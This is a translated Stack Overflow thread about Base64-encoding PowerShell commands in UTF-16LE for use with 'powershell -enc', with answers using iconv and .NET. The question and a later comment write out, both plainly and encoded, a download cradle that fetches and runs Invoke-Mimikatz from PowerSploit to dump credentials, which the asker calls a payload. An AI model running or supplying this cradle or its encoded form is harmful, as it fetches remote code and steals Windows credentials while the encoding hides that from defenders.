需要使用PowerShell进行Base64编码

4
我希望在powershell中执行base64编码的命令。例如,我从这个github仓库中取了一个命令:https://gist.github.com/gfoss/ca6aa37f97fd400ff14f。运行mimikatz命令:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

如果我在 PowerShell 提示符中直接运行它,它会正常工作。检查 Base64 编码的版本,我发现它也能正常工作:

powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

但是,我不确定这个字符串的编码方式。如果我在Linux中尝试对其进行编码,我会得到一个不同的字符串(我只是更改了引号以防止bash解释$):

echo -e 'IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/Powe
rSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCreds; $m' | openssl enc -base64 -A

SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vUG93ZXJTaGVsbE1hZmlhL1Bvd2VyU3Bsb2l0L21hc3Rlci9FeGZpbHRyYXRpb24vSW52b2tlLU1pbWlrYXR6LnBzMSIpOyAkbSA9IEludm9rZS1NaW1pa2F0eiAtRHVtcENyZWRzOyAkbQo=

当我尝试在powershell中使用-enc运行此编码时,出现错误。

我应该使用哪种编码方式使字符串与powershell完全兼容?

2个回答

6

PowerShell希望base64字符串是Unicode编码的,而Unicode是Windows用于小端UTF-16的术语。

如果您需要从Linux shell编码PowerShell命令而没有访问.NET,则可以使用iconv将其转换为UTF-16LE:

iconv -f ASCII -t UTF-16LE filename.txt |base64 -w 0

确实(+1);为了适应通过stdin提供字符串的方式:printf%s'...' | iconv -t UTF-16LE | base64 -w 0 - mklement0
iconv -f ASCII -t UTF-16LE <(echo "Write-Host 'wassup!'") |base64 -w 0,如果您只想在CLI中放入一个字符串 - Mathias R. Jessen
是的,但在这里使用进程替换并没有优势。另外,避免使用echo以防止跨不同shell的行为差异和以-开头的字符串出现问题。最后,echo会附加一个换行符,虽然在这种情况下无关紧要,但在其他情况下可能会有影响。 - mklement0
注意:如果多余的尾随换行符不是问题,在bashkshzsh(但不包括仅使用POSIX功能的shell,如dash)中最简单的解决方法是使用[here-string](https://tiswww.case.edu/php/chet/bash/bashref.html#Here-Strings):`iconv -f ASCII -t UTF-16LE <<<"Write-Host'wassup!'" - mklement0
谢谢,这太棒了。我必须在PowerShell命令中使用双引号,并用单引号将所有内容包装起来,以防止bash解释特殊字符(例如$)。生成有效载荷的最终命令如下:iconv -f ASCII -t UTF-16LE <<<'IEX (New-Object Net.WebClient).DownloadString(" https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCr eds; $m' | base64 -w 0 - user134167
@user134167 很酷!也可以通过双引号来转义 ",例如 <<<"iex ""Command Goes here""" - Mathias R. Jessen

3

使用PowerShell示例中的其中一个?

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("command_goes_here"))

1
但我需要从 Linux 系统进行编码,而不是本地编码。我猜测这与编码有关。 - user134167
此外,我刚刚尝试了一下,它也没有那样工作。 (代码太长无法在回复中发布,但它失败并显示以下错误消息:“=“ 不被识别为 cmdlet、函数、脚本文件或可操作程序的名称。请检查名称的拼写,或者如果包含路径,请验证路径是否正确,然后重试。第 1 行,第 154 个字符") - user134167
$ echo -n "你的文本" | iconv -f UTF8 -t UTF16LE | base64 - 0xFK

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接